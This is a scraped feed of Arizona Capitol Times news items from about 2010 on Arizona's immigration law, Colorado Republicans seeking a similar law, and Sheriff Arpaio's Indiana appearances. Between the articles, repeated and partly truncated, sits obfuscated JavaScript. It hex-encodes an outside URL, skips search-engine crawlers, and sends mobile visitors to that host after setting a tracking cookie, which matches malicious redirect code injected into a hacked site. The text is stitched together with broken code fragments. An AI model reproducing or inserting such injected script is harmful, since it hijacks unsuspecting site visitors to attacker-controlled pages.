)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The post Colorado GOP in Arizona to talk immigration first appeared on Arizona Capitol Times.

Arizona legislators are setting aside Gov. Jan Brewer’s suggestion that lawmakers consider changing parts of the state’s controversial immigration law.

Brewer on July 30 floated the idea of making “tweaks” to the law shortly after a federal judge blocked implementation of numerous provisions. Legislative aides said Tuesday the idea has been shelved, at least temporarily, mainly because of the state’s pending appeal to the 9th U.S. Circuit Court of Appeals.

“Everyone agreed … that it would have been acting in haste to act at this point,” said Victor Riches, chief of staff for the House’s Republican majority.

There’s still a possibility that lawmakers could take up the issue in the future but nothing is in the works now, Riches added.

Brewer spokesman Paul Senseman did not immediately respond to a request for comment.

Brewer didn’t suggest specific changes to the law but expressed a willingness to consider changes in response to the preliminary injunction issued July 28 by U.S. District Judge Susan Bolton.

Legislative leaders voiced skepticism about Brewer’s idea from the get-go but had aides review it before concluding that no immediate action should be taken.

“It’s in the middle of the appeal process. We need to see how at least what the 9th Circuit says,” said Greg Jernigan, general counsel to Senate Republicans.

Legislative aides said Brewer raised the possibility of considering changes to the immigration law during a brief special session held last week on an unrelated topic, but she ultimately didn’t include it in her special session call.

Jernigan noted that the appellate court has agreed to put the case on a fast track, scheduling a hearing on the case in early November.

Although lawmakers could narrow the reach of a blocked provision barring release of arrested people pending checks of their immigration status, it wasn’t realistic to consider changing other provisions blocked by Bolton on grounds that they’re pre-empted by federal authority over immigration matters, Jernigan said.

The pre-emption issue will have to be settled by the courts, Jernigan added.

Besides the provision on immigration checks for arrested people, blocked provisions included a requirement that police check a person’s status while enforcing other laws if there’s a reasonable suspicion the person is in the United States illegally. Bolton also blocked provisions that required immigrants to carry their papers and banned immigrants from soliciting employment in public places.

The post Arizona legislature shelves idea of changing immigration law first appeared on Arizona Capitol Times.

Colorado Republican lawmakers who want to copy Arizona’s divisive immigration law sent a delegation to Phoenix Tuesday to get pointers on how to proceed.

Colorado is the latest state to send a delegation of lawmakers to Arizona to talk about adopting a law similar to the one that’s being challenged by the federal government and has been denounced by immigrant advocates.

Tennessee and Utah are the other states who have sent lawmakers to Arizona this summer, and Utah has already publicized text of their proposed legislation.

Rep. Kent Lambert said Colorado’s economy is suffering because of illegal immigration, even if the state doesn’t face the same challenges as Arizona and other states along the border.

“We have sort of the backfield problems with employment, jobs, and unemployment and picking up the costs of health care and things like that which seem to fall upon the state of Colorado,” said Lambert, one of 11 members of Colorado’s Republican Study Committee who are meeting with Arizona legislators this week.

Republicans said one of the topics they want to discuss is how Arizona is defending its bill in court.

A federal judge last month delayed the most contentious provisions of Arizona’s law a day before it went into effect, including a section that would require officers to check a person’s immigration status while enforcing other laws if they have “reasonable suspicion” that the person is in the country illegally.

But the judge allowed other provisions, including a section that bars local governments from limiting enforcement of federal immigration laws. Those jurisdictions are commonly known as “sanctuary cities.”

Last week, Utah Republican Rep. Stephen Sandstrom unveiled a proposed immigration law that would, among other things, require law enforcement to question the immigration status of those pulled over for traffic stops or detained for other crimes. Sandstrom will hold a public hearing on the proposal Wednesday. The Utah Legislature will not be in session until January.

Colorado Republicans would face an uphill battle in passing a law similar Arizona’s because they don’t have a majority in either chamber. The November elections could change that but history has shown that Republicans don’t need to be in charge to pass tough immigration laws in Colorado. Some of the strictest immigration laws Colorado has in its books passed in 2006, during a special session with Democrats in the majority.

One of those laws resembles what Utah is proposing. It requires law enforcement to report to immigration officials anyone they arrest who they suspect to be in the country illegally. However, it is up to Immigration and Customs and Enforcement to determine what to do with suspects reported to them.

Sen. Ted Harvey, who sponsored that Colorado law in 2006, said he doesn’t believe the law has been implemented aggressively. He said Republicans next year are “definitely going to push immigration reform that takes seriously the impact that illegal immigration has on the state budget.”var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The post Colorado GOP wants immigration law like Arizona’s first appeared on Arizona Capitol Times.

Maricopa County Sheriff Joe Arpaio, known for his efforts against illegal immigrants, will be speaking at three Republican Party fundraising events around Indiana this week.

Arpaio says he’ll talk about his support for Arizona’s law cracking down on people suspected of being in the country illegally.

Arpaio is to speak Friday at a GOP dinner in Plainfield, followed by events Saturday in the southern Indiana cities of Sullivan and Corydon.

Harrison County Republican chairman Scott Fluhr says he jumped at the offer to have Arpaio visit as part of the swing through the state organized by Indiana GOP national committeewoman Dee Dee Benkie.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The post Arpaio to speak at Indiana GOP events first appeared on Arizona Capitol Times.